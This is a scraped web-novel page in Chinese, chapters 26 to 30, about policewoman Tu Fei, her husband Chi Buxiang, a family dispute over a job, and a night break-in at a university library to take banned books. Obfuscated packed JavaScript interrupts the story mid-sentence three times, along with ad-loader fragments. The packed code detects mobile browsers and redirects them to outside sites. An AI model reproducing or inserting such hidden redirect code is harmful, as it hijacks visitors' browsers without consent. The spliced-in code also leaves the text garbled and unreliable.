(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
!
涂翡让池步湘坐椅子上等她,这报告还差最后的总结了。
档案室很冷,但温暖的阳光洒进来,让这带着纸张味道的档案室都变得温暖静月岁好。
面对纸笔的涂翡收敛了一身的煞气,她安安静静地坐在那,下笔认真。
池步湘眼睛一眨不眨地看着她。
正写着钢笔没水了,她从抽屉里拿出钢笔水,正要拧开盖,池步湘就把东西拿了过去:“我来。”
池步湘垂着眼不敢看她。
涂翡奇怪:“怎么装这么乖,不是没受伤?”
池步湘拧钢笔的手一顿,一脸控诉地看着她:“就这?没别的了?”
虽然她不生气也很好,但她怎么能一点不在乎呢!
涂翡摸摸下巴,在对方的控诉下补充了一句:“下次背着点人。”
“好!”
池步湘笑了,阳光将他的浓密的睫毛镀成了半透明的金色。
他用废纸将钢笔擦干净,递给涂翡。
涂翡从抽屉里拿出两个核桃两个大白兔奶糖递给他:“你先呆会,一会我们一起回家。”
池步湘将两个核桃放在门口轻轻一掩,坚硬的核桃就开了口。他将核桃肉剥出来,不太熟练,一不小心碎成了几块。
他将碎屑吃掉,大块的放在纸上,推到了涂翡跟前。
奶糖则被他揣进了口袋。
涂翡瞄了眼,捏了一块,边吃边写。这核桃油香油香的,好像比以往还好吃。
池步湘一向对涂翡的一切很好奇。
他在档案室逛了几圈,除了工作的环境,他还在办公桌旁边发现了一些砖头、在档案柜的过道尽头处发现了一张用报纸做成的射击靶。
那些砖头有的用绳子绑了起来,结合一些细节不难想是做什么的。
听着外面的训练声音,池步湘有些心酸。
他想,她还是想回到训练场的吧?
.
李家让已婚的姐姐给弟弟让工作不是个例,梁玉秋这位‘一家之主’也受到了挑衅。
她有两个弟弟,两个妹妹。大弟高中刚毕业,也是面临上山下乡的。
她爸妈在女儿女婿回来的时候小心翼翼地提了此事:“反正你现在结婚了,有栋梁养你照顾你。女孩子还是要顾家一点,再说,你在体制内,你能斗得过男人?
一辈子就是个办事员,妇女主任干到老,你不如让你弟弟去打拼嘛。”
梁玉秋脸色很臭,她把筷子往桌子上一放,全屋安静。
“我的事你们少掺和,想让我让出工作,除非我死!你要是不想让他下乡,你就把工作让给他,但事先说好,他拿了你的工作,以后得养家,这家里可不止他一个孩子!”
她妈嗫嚅着:“不让就不让嘛,说什么死不死的。”
梁玉秋从小霸道到大,很多问题在她这里不成问题。但其他人就两难了。
李金玲本想回来看一眼就走,但没想到李家成挨了顿打,她不得不留了下来。
越是乱七八糟的事越是传得快,池步湘和李家成打架的事仅仅一个上午传遍了宁字片,等涂翡和池步湘到家没多久,就连梁玉秋和张栋梁也来看热闹了。
27. 李金玲
这两口子借着去看李金玲的名义,去看了李家成的热闹。
池步湘这该溜子下手一向狠毒。人被揍得不轻,像是被水晕了的宣传画,青青紫紫的。
周翠锦跟涂翡告状不成,此刻正逮着老涂一个劲儿宣泄。
老涂两手揣着袖子:“是是是,哎,这太不像话了……幸好人家警察来了……对对对,家成再不是,步湘也不能打人啊……
伟人都说了要文斗不要武斗……诶,吃啥鸡蛋啊,你不懂,这受伤了不能吃发物!”
他一面应付着周翠锦,一面神游天外。
这给孩子善后,还是第一回……感觉挺神奇。
梁玉秋差点没憋住笑,趁着俩长辈在那算账,她顺便把李金玲带回了涂家。
李金玲看见涂翡,瞬间就哭了。
她捂住脸,眼泪却从指尖如水流一样滑过。
她经历的委屈、童年时代的无忧无虑、朋友再见的喜悦、对涂翡的心疼……种种情绪杂糅在一起,让这些年都在压抑的情绪一下子爆发了出来,悲恸万分,难以控制。
时光被回忆压扁,变成缝隙,她与曾经那个不谙世事的姑娘重叠。
她抱着涂翡痛哭,一如当年她眼泪婆娑的在车窗外奔跑着为她送行。只是那时她还不知道,她即将送走的不止是最好的朋友,还有她的童年时代。
涂翡抱住李金玲,将她搂在怀里,轻轻拍着她的背。
梁玉秋红了眼眶,走上前伸手环抱住了二人。
池步湘给张栋梁一个眼神,对方不明所以。
池步湘无语,只得强制将人拉到了另一个房间。
李金玲的变化很大。
她与涂翡梁玉秋都不同。
比起她们争强好胜的性格,激进超前的想法,她更像个正常的女孩,被家庭,被这个社会塑造着。
她启蒙晚,识字晚,学习一直都不算很好,因此她也不像涂翡和梁玉秋那样如饥似渴地读书。甚至她也没有大部分东北姑娘那股泼辣的劲儿。
但她是快乐的,像个傻乎乎的快乐小狗。
涂翡以为,她会这样长大,一直做个不敏锐但快乐的人。工作结婚生子,一生快乐幸福。
但现在,她怀里的李金玲,与小时候截然不同。
她很瘦,骨架很细,手腕只用两个手指就能圈住。她脸色苍白,只是那双眼睛中带着倔强。
她像是一只终于见识到这个社会险恶的刺猬,竖起了薄脆的围墙,想吓退更凶更恶的野兽。
哭了很久,李金玲冷静下来。她不好意思地接过粉红色的卫生纸,擦了擦眼泪和鼻涕:“我有点激动。”
梁玉秋体贴地转移话题:“池步湘和李家成他俩咋还打起来了?”
李金玲尴尬地看了眼涂翡:“我妈劝我把工作让给家成时,说了几句阿翡,被……阿翡伴侣听见了,他砸了一下我家大门,家成就出去了……”
涂翡还真不知道前因后果,在警局,这二位当事人说起因是李家成说池步湘吃软饭,俩人一时言语不和打了起来。
李金玲这一句,涂翡明白了,原来这才是真正的起因。不过,她此刻的重点在李金玲的工作上:“这是你妈的意思?”
还是李家的意思?
“她哪儿来的脸!”梁玉秋一下子炸了庙。
为了让姐姐照顾弟弟,李金玲和李家成是同一年上学。李金玲的成绩一直不太好,但为了上高中,她努力了很久,最后的成绩虽不太理想,但勉强也能考上。
只是李家因为一下子供两孩子上大学、两孩子上高中太困难,就不让她念了。
毕竟她学习成绩没有弟弟好。
她的成绩确实比不过李家成。
毕竟李家十分注重男孩子的教育的问题,对身为女孩子的她,则一直没有什么期许。
那是李金玲第一次明晃晃察觉到来自父母的恶意。
在梁玉秋上高中那几年,李金玲离开家去了南江区,找了份很辛苦的临时工工作,干了几年后,遇到了现在的丈夫。
对方比她大了不少,对她不错,还给她找了份轻松体面的工作。
可以说,从初中毕业后,李金玲再没靠过家里。
而现在,周翠锦想让她把工作让出来,就为了让李家成不下乡,不去偏远的地方工作。
梁玉秋想问,李家成堂堂一个大学生,就算去偏远地方当卫生员,难道还能比当年的李金玲辛苦?
她是临时工,干着最脏最累的活,工资是最低档,天天日夜颠倒。
梁玉秋记得放假去看她时,她手上满是冻疮。
梁玉秋愤愤不平,嘴跟个机关枪一样。
涂翡不想浪费她这一顿输出:“等会,去西屋再骂!”
李金玲噗嗤一声笑了。
涂翡却没开玩笑,外屋地池步湘在做饭,张栋梁被他赶出去劈柴了。
西屋没人,隐约还能听见隔壁老涂敷衍周翠锦的声音。
涂翡将二人带到西屋,冲着梁玉秋优雅地做了个请的姿势。
梁玉秋瞪了涂翡一眼,在对方整暇以待的眼神中,火力全开:“有的人啊,这思想就是落后!嘴上说着男女平等,实际心里全是旧社会的小九九!
怎么,十几岁的女儿初中辍学去做最累的临时工可以,二十多岁的儿子去偏远地区工作就不行?这娇生惯养的,不知道还以为养了个公子哥呢!
人要脸树要皮,人不要脸天下无敌!还想用姐姐的工作换弟弟不下乡?你干脆把儿子给闺女养得了,以后你那公子哥也不用叫你妈了,直接叫你姥娘!”
隔壁扯皮的两个长辈不说话了。
李家成气得扯了伤口,嘶了一声,大吼:“梁玉秋,有能耐你到我跟前来说!别在这扯老婆舌!”
梁玉秋上了炕,对着西墙叉着腰,与李家成隔空对骂:
“没出息的东西,你也只能窝在家里满嘴撒村了!当年还真是金玲做得不对,我得严肃地批评她,怎么能把读高中的机会让给你呢?你这种人,空有一身学识,却无一丝人品!”
“你凭什么说我人品不行?”李家成愣了下,愤怒中带了些许委屈。
他虽称不上人之骄子,但从小到大,也一直饱受赞美。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13887631|146218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
学习好,长相端正,人际关系也不错,这还是第一次有人指名道姓地说他人品不好,对方还是他姐的朋友。
对他而言,这个指责太过了。
梁玉秋站在炕上挥斥方遒:“其一,你纵容母亲背后嚼舌,却不许别人说三道四,这说明你宽以待己严以待人;
其二,你对退伍军人和其亲眷没有丝毫尊重,说明你自私成性,不分是非;
其三,虽说当初是你成绩更好,但你剥夺了姐姐的上高中的机会这是事实。但凡你记着这份情谊,心怀愧疚,你就不该为了留城提出这么过分的要求!你这是忘恩负义!
以上三点,足以见得你是个有才无德的真小人!”
李家成急头白脸:“当初又不是我让她辍学的!再说家里条件有限,不就该让学习更好的人读书吗?我想下乡,是我妈不让,她想让我留城!”
李金玲沉默着。
涂翡揽过李金玲的肩膀。
梁玉秋闻言冷笑了一声:“你不过是站在利益既得者的角度冷眼旁观罢了!如果伤害到了你的利益,我不信你无动于衷!”
李家成也沉默。
隔着一面墙,梁玉秋不知道他是无可辩驳的愤怒,还是有一丝丝对这不公平的反省。
最后是周翠锦开口结束了这场指责:“玉秋啊,我们家从来都是一视同仁的,只是有时候迫不得已,我们做父母的也没办法。这毕竟是我们的家事,你什么都不知道,就别参合了。”
李金玲拉了拉梁玉秋的袖子,看着她的眼神很亮:“我和他们就差断绝往来了,但阿翡就在隔壁住着,他们还得相处呢。你放心,我不会把工作让出去的!”
.
中午饭是池步湘做的,其他人打了些下手,听他指挥。
涂翡新婚,她请吃饭说得过去。
因为老涂的人际关系,涂家的肉没别人家那么紧缺。这几天,老涂还按照池步湘的要求买了点猪下水、猪骨、猪血,这些东西和猪肉相比那就便宜多了。只是得有点关系,才能买到。
池步湘做了两道荤菜,两道素菜。
一道是非常家常的酸菜炖棒骨,棒骨被敲碎,油水和骨髓都煮进了酸汤中,大块的肉则被剃下,切成了薄片。除此之外,他还放了一截血肠。
剩一道是白灼猪心。这个白灼,很考验火候和手法,一般人做不来。
池步湘先将猪心切成薄片,等水大开,将薄片扔里几秒就用笊篱捞起,等水再次沸腾,再将猪心薄片扔进锅,翻上几下,就恰到好处了。
这样的猪心很嫩滑,粘上蒜汁,让人胃口大开。
涂翡甚至为了这盘猪心,给大家浅浅倒了些酒。
素菜倒是很常规,不外乎正常人家冬储的那几样。
不过池步湘的手艺好,哪怕是寻常的食材,经他手后也有种别样的风味。大家都吃得很开心,对他的手艺赞不绝口。
除了下饭馆,在这冬季里,难得有些新鲜的口味。
就连看他格外不顺眼的梁玉秋,都好声好气了起来。
倒是他对人家没什么好脸色。
28. 我怎么会弄脏你的书
涂翡发现,池步湘的手很巧。
像是修手表就是个精细活,一般人做不来。再比如他做的那些机械摆件,那本是平凡的木头,但经过他细细打磨,就变成了稀奇古怪的有趣玩意儿。
再就是做饭,这些平平无奇的食材,经他妙手回春,会给人不一样的惊喜。
吃过饭,三位客人留下粮票就去忙各自的事情了。李金玲还得趁着中午去和父母扯皮,梁玉秋两口子下午还得上班。
老涂中午多喝了一杯酒,这会醉醺醺的,正在炕上午睡。
涂翡和池步湘在外屋地收拾锅碗瓢盆。
“给我添些水。”涂翡正在刷锅,她手脏,不好去盛水。
池步湘用水舀子往锅里倒入凉水:“等一下,我给你兑些热的。”
涂翡唔了一声,盯着那只修长的手,一副写报告的认真模样。
经分析,相对而言,池步湘同志的手掌不大,手指很长,骨节分明,指尖纤细圆润,很好看。
“爷爷有没有生气?”
“什么?”涂翡从那只手上抽离视线。
“我和李家成打架,爷爷会不会生气?”池步湘问。
涂翡耸耸肩:“他中午不是吃得挺开心的?”
哪样菜都没少吃。
池步湘无奈:“凭你的经验,他会不会事后算账?”
涂翡嘴角挂着一丝不太善良的调笑:“我怎么知道,他又没抓到我打架。”
池步湘动作一顿,语气充满了委屈:“……是我太笨了。”
涂翡心想,要不是你把人家打得姹紫嫣红的,我还真会心疼心疼你。
刷完锅,她靠在橱柜上,看着池步湘忙碌的身影,突然开口:“去派出所为什么没说实话?”
池步湘动作一顿,回头看涂翡:“你知道了?也没什么,就是不想让你听到周老太婆的那些话。反正人也打了,气也出了嘛,没必要再让你生气。”
李家成不说是不想牵连他妈,池步湘则是不想让涂翡知道。
这么多年,涂翡什么样的酸言酸语没听过。不管别人怎么说,怎么不理解,她都会做给所有人看,她就是行,比所有人都行。
但池步湘对她的维护,让涂翡心软了几分。
.
池步湘连怎么辩解都想好了,但老涂似乎把他打架这事忘至了脑后。但他越是不提,池步湘就越是提着个心。他也说不上来,就像是事情没落定一样。
最后他只能主动提起。
结果老涂跟说新鲜事一样:“原来被找家长是这个感觉!”
在老涂看来,这就不算事,大小伙子血气方刚的打个架那不是正常?只是池步湘习惯了他做的任何‘不正常’的事情都被小题大做。
李家的聊天终于知道背人了,在远离涂家的另一个房间,李金玲拒绝了让出工作的要求。她下午就骑着那辆女士自行车回了南江区。
不出意外的话,她短时间内不会回来了。
涂翡又上了一天班。
周六这天,她心情愉悦。
詹乐贤从动员大会那边抽身回到所里,才发现他头号靶子的把柄没了?
就这么几天的功夫她结了个婚?
政保股这周太忙,导致他没顾上所里这边,最后才知道涂翡结婚的消息。
别人都说她是为了不让那个小知青下乡才结婚结得这么仓促,但他怎么觉着,她这是为了躲开政保股呢?
现在人家天天回家吃饭,他们可没法再监督她节约粮食了。
涂翡下班往外走的时候,看见詹乐贤,她笑着打了声招呼:“詹股长,下班了?”
詹乐贤哼了一声,一脸不爽地看着涂翡大摇大摆地出了派出所。
土匪一个。
.
周六的晚上难得的放松。
她以往会在这天晚上进行一次大扫除。这样周日就不用被琐事束缚,可以好好休息一下,做些想做的事情。
但有池步湘在,他把房间打理的很干净,哪怕她这个对整齐有着强烈需求的人也没有一丝不舒服;
平日做饭也省了她的操心。只是她有自己洗衣服的习惯,平时脱下来顺手就洗了。
池步湘说了两次发现她这习惯根深蒂固,他就在她洗衣服的时间留上热水,她每次换洗的时候,基本都有热水等着,无论早晚。
等涂翡把警服挂好,突然发现周六也没什么可忙的了。
池步湘靠在东屋的门口看着她在外屋地洗衣服。
她换下了警服,今天的涂警官显得格外亲民,一直在她面前装乖巧的池步湘难免有了一丝松懈。
他瞧着,涂警官好像变白了些?这可都是他的功劳啊!
池步湘心里一丝诡异的满足感。
涂翡在晾衣绳绳上挂好警服,突然看向他:“在看什么?”
池步湘懒散地靠着门框,笑着从口袋里掏出来一个小盒子,冲涂翡晃了晃:“文娱片,玩不玩?”
她的眼神一向很凌厉,就在池步湘被看得炸毛、即刻就要立正站好的前一秒,涂翡一把将他手里的文娱片拿到手:“什么玩法?”
池步湘掰着手指:“炸金花、21点、桥牌、□□……你想玩什么都行,我都会!”
“会的还不少!”涂翡眼睛微眯,嘴角是笑的,眼底战意十足。
池步湘没注意到她的战意。
此刻,他眉眼弯弯,眼里的焕彩在这昏暗的灯光下格外夺目:“那我去叫爷爷?”
池步湘的本意除了找点家庭娱乐项目,他还想借娱乐活动让涂翡放松些。
她太紧绷了,像是随时要面对敌人,要进入战斗。
夜里只要有一点动静,她就会惊醒,满眼戒备。如果她还想去一线当警察,就得试着改变这种精神状态。
原本他只是想循序渐进地帮她好转,但当猜到了她心底的坚持后,这种想帮她的情感就急切地喷涌而出了。
如果不想再去一线,她不会这么严律克己。
她坚持早起打拳、练习射击、用砖头训练力量……
他希望她的所有理想都实现,她的坚持不被辜负。
既然她有追逐光的能力,那就要站在阳光里。似乎这样,他也能借着她的光亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13902204|146218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,把他曾经的那份热忱拿出来,晒晒太阳。
他不知道她不能被人攻击的毛病和她神经紧张有多大关系,但他知道如果她神经能松懈下来,那她这个毛病一定能好转。
他的想法是好的。
可惜……
三人中,涂翡是对这种有输赢的游戏胜负欲格外强烈;
池步湘是和小流氓鬼混的这些年没少打扑克,玩的花经验足;
至于老涂,他一个退休的老头,除了听收音机,和别的老头打扑克,平时还有别的娱乐项目吗?
涂翡兵法玩得六,兵不厌诈,虚虚实实;
池步湘经验足,记牌准,脑子好使;
老涂是老奸巨猾,玩急眼了还带出老千的,有时候就连涂翡都注意不到他的动作。
毕竟爷孙俩,也是师出同门。
这场家庭版的娱乐活动,硬是让他们玩出了三足鼎立战火纷飞的感觉。
涂翡玩得很尽兴。
因为她赢得最多!
池步湘看着她跟打了胜仗一样的畅快,安慰自己,他的计策还是有一定效果的。
涂翡是个克制的人;老涂年纪大了,能让他上瘾的东西不多;池步湘玩得多,也随时能放下。所以这场战斗持续了几个小时后就停止了。只比以往的睡觉时间晚了半个时辰。
涂翡洗漱后,跟涂管家打申请:“明天我去黑市转转,再囤些粮吧?”
她看过家里的储存情况,池步湘的路子比老涂的路子更野,他买的干货比老涂跑遍了各个商场存得都多。干货这块,她基本不担心。但粮食就紧张多了。
按照他们从食堂买主食的方式,粮食还是缓缓存起来了一点。但一旦实物紧缺,这几十斤的粮,三口人,一点不够看。黑市粮也不好买,所以得多去看看。
要不是她没钱,需要涂管家批款,她半夜醒来抬腿就去了。
池步湘正在铺炕,他长腿半跪在炕上,看着被窝:“其实……我觉得,比起去黑市,我们更应该去一趟图书馆。”
“图书馆?你对我的书犯了什么不可挽回的罪行?”涂翡意外,上次开的玩笑,他当真了?
“……不是!它完好无损!我怎么会弄脏你给我的书?!”池步湘一副气恼的样子。
涂翡挑挑眉。
池步湘咳了声,恢复正常,解释道:“我记得图书馆里有些原文医疗书,都是建校时国外华侨捐赠回来的。
我们可以借几本回来看看,至于去黑市……我认识镇北公社黑市管理员,我可以让他帮忙。”
涂翡听着有些心动,在精神这方面,确实是国外的研究比较先进。
医院的常规检查没用,她原本倾向于找中医看看,就算精神问题不能缓解,让人家给调理调理身体也行。
回来后她才知道,中医们都被打成牛鬼蛇神了。
她师祖倒是懂些中医,只是在革命前夕,他就仙逝了。她没立刻答应下来,反问道:“管理员靠谱吗?会不会牵连到你?”
现在风声鹤唳的,能不冒险就别冒了吧。她伪装一下,没人知道她的身份,这样最安全。
29. 图书馆
“他还是以安全为主的,来往的大多数都是熟人。新人进入很严格,整体规模也不大。一旦被抓,他咬死了只是看场子的就没什么事。”
桥洞黑市一开始是附近的人自发形成的。王建设帮大家看着场子,拿些保护费。
后来随着场子越来越大,他被抓到过一次。因为他只是个看场子的,死不承认投机倒把,被拘了几天就被放出来了。
其实看场子的收益没那么丰厚,毕竟来黑市的人大都是为了生活,不是为了发财。
黑市里虽少不了投机分子,却有其必要性。所以哪怕打击了很多次投机倒把,黑市依旧无法杜绝。
除非严打的时候,不然这黑市和上面的人也是心照不宣。民不举,官不究。
“那你私下和他联系,别直接去黑市。你问他开市具体时间,平时我去更安全。”
池步湘非常好奇,怎么她就比他安全?
涂翡耸耸肩,她甚至没用其他工具,只是稍加改变了下衣服的穿法,重新拢了拢发型,换了双鞋,很轻易就伪装成了另外一个人。
“你果然会魔术!”池步湘兴致勃勃地研究她这伪装术,甚至还在自己身上试了试。
不过穿着只是其次,最重要的是气质。没有钻研过的人,这点很难改变。
涂翡看着玩得开心的池步湘,沉默了两秒,果然是小孩。
“你修的手表交给他了?”
池步湘是江大的学生,按照小流氓四处交朋友的秉性,他认识镇北公社黑市管理员倒也正常。但他肄业之后还能来镇北公社这么频繁,估计就是为了倒卖二手手表。
“他负责出货,我负责维修。有时是我收到废弃手表修好卖他,有时是他拿表让我修。”
池步湘强调:“具体交易只有我俩知道。”
涂翡琢磨着:“这风声还是太紧。”
池步湘看着涂翡笑,眼波流转:“有你养我,我才不会冒那个险~”
涂翡没说话,耳根微热。
除了新婚那天,他俩基本都分开睡。她一向克制,哪怕体验还不错,她也不会放纵自己。
池步湘一个血气方刚的青年人,刚刚尝到一丝兴味,要说不想那是不可能的。但他不愿在她跟前表现的太浪荡。他向来能忍耐,伺机而动。
涂翡看着池步湘,他的手轻轻搓着被面,修长圆润的指尖被戳得泛红,眼神有些躲避羞赧。他半跪在炕上,身体呈现出漂亮的弧度。
涂翡本盘坐在炕边,她盯着他看了好一会,突然挪到了池步湘对面。池步湘眼睛垂着,卷翘的睫毛微颤。涂翡想笑,这人姓什么池啊,应该姓姜。
姜太公的姜。
而她是自愿上钩的那条鱼。
涂翡看着池步湘的眉眼,立体的鼻梁,凑过去轻啄了一下他的嘴唇。
这像是开启了什么开关一般,气氛变得暧昧。
接下来的事情变得顺理成章。经历过一次的涂翡克制着自己不再那么霸道,她给了池步湘一些发挥余地。情至深处,她想,他的手果然很巧。
涂翡知道,她现在的情感太过于平淡,除了生死,再无大事。她的情绪难以被调动,也就是亲人朋友这样深厚的情感,才能渗透到她的内心。
爱情是什么?
和池步湘结婚,是顺势而为。也有一点有便宜不占王八蛋的心态。
她的离经叛道,能接受她的人不多。而他又长得好看,看着便心情愉悦。
她想过照顾家庭,关爱伴侣,但似乎从没想过爱情为何物,她是否需要。
难得的,半夜再次惊醒的涂翡,借着月光看着还在睡梦中的池步湘,想到了这个问题。
她也睡不着,就这么观察着池步湘。
他是个很矛盾的人,这是她直视他双眼后的直觉,直到现在她也依旧这么认为。很有趣,他有顽劣跋扈的一面,有沉静乖巧的一面,也有潜藏在最深处的哀鸣。
他可以很冲动,也可以很细致,还可以姓姜。
家也被打理的很好,他能把家变得很有家的味道,这是她从小和爷爷奶奶长大没有尝试过的生活。
涂翡视线下移,在他露出来的肩颈处,看到了几个浅浅的牙印和淡粉色的吻痕。她有一点点心虚,拉了拉他的被子,将他盖了个严实。
她躺回自己的被窝,再睡不着了。
她无所事事地想着,爱情?
像她这样见色起意的算吗?
她不知道,不过,她唯一知道的是,她的生活她的心情都变得更好了。
涂翡失眠到两点,她决定起床。她的动静,惊醒了池步湘,池步湘揉揉眼睛,迷迷糊糊:“起来打拳?”
“去黑市。”涂翡低声道。
“我跟你一起去。”池步湘借着月光看了眼时间,打了个哈气,爬了起来。
涂翡耸耸肩:“那不去黑市了。”
池步湘还迷糊着:“嗯?”
“去图书馆。”
“恶趣味。”池步湘嘟囔了一声,起床穿衣。
.
江大在镇北公社的边缘地带,和黑市正好两个方向。
月亮将圆,月光明亮而澄澈,照亮了夜里行路的人。
江大就伫立在那里,学生们来来往往,它却很少变化。来客不用寻找,就可直奔而来。夜里,江大朦胧的月光一片,静悄悄,没有什么光亮。
池步湘:“这边!这里有根栅栏掉了,可以钻过去。”
涂翡走了几步,就看见了他说的地方。这条逃学路格外显眼,因为从那栅栏开口处,被人们踩出来的雪路曲折蜿蜒。
来来往往的人可见不少。
涂翡拍拍那条弯曲的铁杆:“这还能叫暗道,都快赶上大门了!”
俩人一副学生打扮,绿军装,斜挎包,都不用特意伪装,任谁都不会怀疑他俩的身份。
在校园内一路穿行,俩人躲过了巡逻的学生兵,顺利抵达。这是一栋苏式风格建筑,有三层楼,圆弧形的门厅前有两个学生兵在站岗。
涂翡和池步湘隐藏在远处,拿着那个62式望远镜,从那一个个黑漆漆的窗户间看着内部的情况。
这图书馆的前门后门,各有两个守卫;而那窗户里面偶尔会有手电的光芒。
涂翡看了一会,得出结论:“一楼有两个人巡逻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13913374|146218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
池步湘对此倒是熟悉:“那就对了,违禁品都锁在一楼。江大每晚有一个排守夜,两个班巡逻,一个班守图书馆。一个班12人,零点换岗。正好六个守卫。”
守卫换岗后是回宿舍休息,所以现在图书馆只有六个守卫。
池步湘:“一楼侧面有窗户,那里是守卫的盲区,我们可以从那里进去。进里面我就熟了,他们抓不住咱俩。”
涂翡刚想比划手势,才想起来跟她一起来的是池步湘:“走,我们绕过去。”
她教了池步湘一种走路方式,通过调整步伐和脚步落地的角度,来减少走雪路的声音。俩人动作小心的绕到图书馆侧面,果然没有被发现。
没有特制鞋,其实还是有些声音的,幸亏今天的夜风时紧时松,呼啸非常,掩盖了所有雪地中的偷偷摸摸的人。
顺利到达图书馆侧面,侧面一共三个窗户,都是圆拱形的木窗。外部轮廓精美,内部是挂锁设计。
池步湘带着涂翡来到一扇窗户前,从怀里拿出来了一个铁钩:“这里面是仓库,不怕被发现。”
他拿着小铁钩从两扇窗户中间伸进去,上下滑动,找到锁的位置,轻轻转动那铁钩,没一会就听见轻微的一声开锁声。
这窗户是向外开的,他扒着窗户缝用力,但窗户没开。他皱皱眉,再次拿出那个小铁钩:“我记得图书馆的窗户只有一道锁啊。”
涂翡借着月光往里面看了看,按住了池步湘的手。
她从绿色斜挎包中掏出手电,直接照向窗子内部,只见这窗户的四周被钉了一圈木板:“看来这条路被堵死了。”
池步湘有些失望:“要不我去引开守卫?”
涂翡没说话,她把手电关掉重新放进包里。她环顾了一下四周,最后视线落在头顶上方,她用手指在眼前比量了一下距离:“我们从那儿进去。”
池步湘抬起头,那是一个外置走廊,不过这走廊只有侧面才有,导致他忽视了这点。
他刚想说他可以先爬上去,涂翡已经行动起来了。
只见涂翡抬脚在墙上蹭了蹭鞋,把鞋底的雪扫掉。接着她后退了几步,瞄准外置走廊的边沿,疾跑几步,一跳而起。
她像是跃出水面的一尾鱼,腰绷得像是一张弓,一个翻跃就灵巧地跃上常人不能及的高度。
她抬腿攀上围墙,手脚并用,一个发力,翻进了走廊。
池步湘怔怔地看着她,突然反应过来,他用气声喊:“那我怎么办?”
出来偷鸡摸狗,那还能没个准备吗?涂翡在斜挎包里掏了掏,拿出一捆绳子,将一端扔了下去:“上来!”
涂翡将池步湘拉上来。
这个走廊暂时还无人涉足,里面的雪很厚,没有脚印。禁品都放在一楼,二楼三楼只是些库房和空教室。他们从这儿进来,只要动静小一点,就不会被发现。
这走廊里多了一扇门,但窗子依旧是三扇,和楼下的一样。
池步湘又拿出了他那钩子。
灵巧的手微微转动,只听‘哒’的一声,窗开了。
涂翡评价:“池同志,妙手空空,身怀绝技啊!”
30. 第 30 章
这栋楼有三个楼梯,俩人进来后很轻易绕开了门口值班室,到了一楼。
图书馆的一楼有个极大的图书室,四周有些小房间。而俩人下来的楼梯就在这些小房间中。
走到一扇双开门前,池步湘低声介绍:“这是大厅后门,从里面挂着锁。巡完逻,守卫会从正门出去,锁上大门,在值班室休息。我们只要别弄出动静,不把光扫到门口就不会被发现。”
涂翡应下。
池步湘撬锁果然有一手,没用涂翡发挥,他三下两下就把那横木移开。
后门轻轻打开,只有微弱的声音响起,江大为了让学子们安心读书,特意把门换成了更安静的。现在倒是方便了他俩。
涂翡放轻脚步,走进图书室,入目的是几十排顶天立地的庞大书架,那密密麻麻的书籍像是牵引灵魂的魔鬼,将她定在了原地。
她从未见过如此多的书,从未进过这么大的图书馆,这里的书籍至少有百万册。
而被封禁在这一方天地的浩如烟海般的图书,就这样盛开在她面前。她觉得,她就像是走进强盗藏宝库的阿里巴巴。
池步湘示意她自己找想要的东西,他去找医疗类的书籍。
涂翡觉得,他这个决定并不明智,把她扔在这,和把贪心的老鼠丢在米缸有什么区别?虽是这么想,但她的身体倒是很诚实地去找她想看的书了。
图书馆的分类都差不多,只要是常和图书馆打交道的,找书不难。
涂翡还真有几本想要看的书。
她找到放苏联图书的书架,将手电打到最低亮度,在行行书籍上扫描,很快她就看到了托尔斯泰系列丛书。
她拿下一本,翻开来看,只见扉页用钢笔题了几行字,除此之外,还盖了“曾荣藏书”字样的红色方印。看着旁边同一系列的书,她带了点探索心态,拿下来翻翻,果然都印着这个。
她想起池步湘说的话,这位‘曾荣’应该就是一位赠书的华侨。
书就这样被封在这里,真是可惜。
将复杂的情绪撇净,她无声地穿梭在书架之间,手中的书越积越多。即将走出这书架前,她在角落里看了一本《苏维埃犯罪对策学》。
她虽刚进公安系统,但她知道国内一般只讲侦查。在部队是侦察兵,在公安系统是刑侦股,叫法不同侧重不同,但都逃不出侦这一字。
涂翡这还是第一次知道,苏国人把打击罪犯这项工作单独成立了一门学问。她将书抽出来,放在这一摞书上。
毕竟不是逛街,她也不三心二意,只把想看的迅速找出来,用绳子捆好,再用三角布包装上——偷了一堆禁书,总不能明目张胆地招摇过市。
医疗书籍离文学书有些远,涂翡拎着包裹在书架间穿行,几乎融入到了黑暗中。
这图书馆里的图书之海量,让封锁销毁变得极其困难。再加上学生们之间的思想也不完全相同,经过种种抗争,才让这图书馆里的书得以保全。
